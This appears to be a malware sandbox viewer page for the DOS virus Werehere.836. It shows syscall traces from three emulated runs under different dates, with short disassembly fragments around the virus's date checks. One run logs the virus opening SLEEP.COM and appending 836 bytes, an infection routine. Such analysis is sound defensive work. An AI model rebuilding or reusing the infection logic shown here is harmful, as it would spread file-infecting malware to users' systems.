Sample viewer

vx.netlux.org/Virus.DOS.Werehere.836

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:02:12.227074453Z 26 PC: 12f43 | Set disk transfer address
2018-12-17T23:02:12.229947401Z 42 PC: 12f47 | Get date 0x12f47: cmp cx, 0x7c8
0x12f4b: jb 0x12f50
0x12f4d: jmp 0x130e6
0x12f50: mov ah, 0x4e
0x12f52: mov dx, 0x74
0x12f55: mov cx, 0x21
0x12f58: int 0x21
0x12f5a: jae 0x12f5f
0x12f5c: jmp 0x13071
0x12f5f: cmp word ptr [0x50], 0
0x12f64: jne 0x12f6e
0x12f66: cmp word ptr [0x4e], 0xea60
0x12f6c: jbe 0x12f71
0x12f6e: jmp 0x1305b
0x12f71: mov ax, word ptr [0x4e]
0x12f74: mov word ptr [0x7c], ax
0x12f77: and ax, 0xf
0x12f7a: mov dx, 0x10
0x12f7d: sub dx, ax
0x12f7f: and dx, 0xf
2018-12-17T23:02:12.232693911Z 26 PC: 130f5 | Set disk transfer address
2018-12-17T23:02:12.234193138Z 9 PC: 12e26 | Display string (String= 'Hello - Copyright S & S International, 1990 ')

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":14128,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T13:07:26.557543442Z 26 PC: 12f43 | Set disk transfer address
2018-12-25T13:07:26.55979672Z 42 PC: 12f47 | Get date 0x12f47: cmp cx, 0x7c8
0x12f4b: jb 0x12f50
0x12f4d: jmp 0x130e6
0x12f50: mov ah, 0x4e
0x12f52: mov dx, 0x74
0x12f55: mov cx, 0x21
0x12f58: int 0x21
0x12f5a: jae 0x12f5f
0x12f5c: jmp 0x13071
0x12f5f: cmp word ptr [0x50], 0
0x12f64: jne 0x12f6e
0x12f66: cmp word ptr [0x4e], 0xea60
0x12f6c: jbe 0x12f71
0x12f6e: jmp 0x1305b
0x12f71: mov ax, word ptr [0x4e]
0x12f74: mov word ptr [0x7c], ax
0x12f77: and ax, 0xf
0x12f7a: mov dx, 0x10
0x12f7d: sub dx, ax
0x12f7f: and dx, 0xf
2018-12-25T13:07:26.561968814Z 78 PC: 12f5a | Find first file
2018-12-25T13:07:26.567948279Z 67 PC: 12f13 | Get or set file attributes
2018-12-25T13:07:26.573590044Z 67 PC: 12f13 | Get or set file attributes (See above)
2018-12-25T13:07:26.590128136Z 61 PC: 12fa5 | Open file (Filename = 'SLEEP.COM')
2018-12-25T13:07:26.596479737Z 63 PC: 12fb9 | Read file or device (Read 5 bytes on handle 5)
2018-12-25T13:07:26.602739269Z 87 PC: 12fce | Get or set file date and time
2018-12-25T13:07:26.604190648Z 66 PC: 12fe4 | Move file pointer
2018-12-25T13:07:26.605514465Z 64 PC: 1300d | Write file or device (Write 5 bytes on handle 5)
2018-12-25T13:07:26.608052836Z 66 PC: 13026 | Move file pointer
2018-12-25T13:07:26.610274125Z 64 PC: 13035 | Write file or device (Write 9 bytes on handle 5)
2018-12-25T13:07:26.612910259Z 64 PC: 13043 | Write file or device (Write 836 bytes on handle 5)
2018-12-25T13:07:26.62162571Z 87 PC: 13055 | Get or set file date and time
2018-12-25T13:07:26.623752066Z 62 PC: 12f1d | Close file
2018-12-25T13:07:26.631764008Z 67 PC: 12f13 | Get or set file attributes (See above)
2018-12-25T13:07:26.642503328Z 42 PC: 13075 | Get date 0x13075: cmp dl, 3
0x13078: jne 0x130e6
0x1307a: mov ah, 0x52
0x1307c: int 0x21
0x1307e: dec bx
0x1307f: dec bx
0x13080: mov ax, word ptr es:[bx]
0x13083: mov es, ax
0x13085: xor bx, bx
0x13087: cmp byte ptr es:[bx], 0x5a
0x1308b: je 0x13098
0x1308d: mov ax, es
0x1308f: add ax, word ptr es:[bx + 3]
0x13093: inc ax
0x13094: mov es, ax
0x13096: jmp 0x13087
0x13098: mov dx, 0xc
0x1309b: mov ax, word ptr es:[bx + 3]
0x1309f: mov cx, es
0x130a1: inc cx
2018-12-25T13:07:26.645115521Z 26 PC: 130f5 | Set disk transfer address
2018-12-25T13:07:26.646193072Z 9 PC: 12e26 | Display string (String= 'Hello - Copyright S & S International, 1990 ')

{"DateBased":true,"Day":1,"Month":1,"Year":1992,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":14128,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:48.417298032Z 26 PC: 12f43 | Set disk transfer address
2018-12-25T12:39:48.418842487Z 42 PC: 12f47 | Get date 0x12f47: cmp cx, 0x7c8
0x12f4b: jb 0x12f50
0x12f4d: jmp 0x130e6
0x12f50: mov ah, 0x4e
0x12f52: mov dx, 0x74
0x12f55: mov cx, 0x21
0x12f58: int 0x21
0x12f5a: jae 0x12f5f
0x12f5c: jmp 0x13071
0x12f5f: cmp word ptr [0x50], 0
0x12f64: jne 0x12f6e
0x12f66: cmp word ptr [0x4e], 0xea60
0x12f6c: jbe 0x12f71
0x12f6e: jmp 0x1305b
0x12f71: mov ax, word ptr [0x4e]
0x12f74: mov word ptr [0x7c], ax
0x12f77: and ax, 0xf
0x12f7a: mov dx, 0x10
0x12f7d: sub dx, ax
0x12f7f: and dx, 0xf
2018-12-25T12:39:48.420952259Z 26 PC: 130f5 | Set disk transfer address
2018-12-25T12:39:48.422632542Z 9 PC: 12e26 | Display string (String= 'Hello - Copyright S & S International, 1990 ')